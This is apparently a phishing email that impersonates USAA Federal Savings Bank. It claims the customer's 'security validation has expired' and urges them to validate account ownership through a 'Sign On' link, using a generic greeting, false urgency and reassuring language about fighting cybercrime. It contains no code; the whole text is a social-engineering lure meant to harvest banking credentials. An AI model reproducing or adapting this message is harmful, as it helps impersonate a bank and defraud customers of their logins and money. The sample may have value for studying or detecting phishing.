USAA # ending in: \*\*\*650

## ★ Security Validation Preferences

Dear USAA Customer,

Your USAA Banking security validation has expired, this maybe as a result of wrong or incomplete data entered during the last update.

We require that you validate your Account Ownership to help ensure your safety and security.

We value your business and the opportunity to serve all your financial needs.

[> Sign On](#)

Together, we'll remain vigilant to protect your online security. You have our commitment to continuously enhance our security measures to help prevent cybercrime from happening to you.

Thank you,

USAA Federal Savings Bank
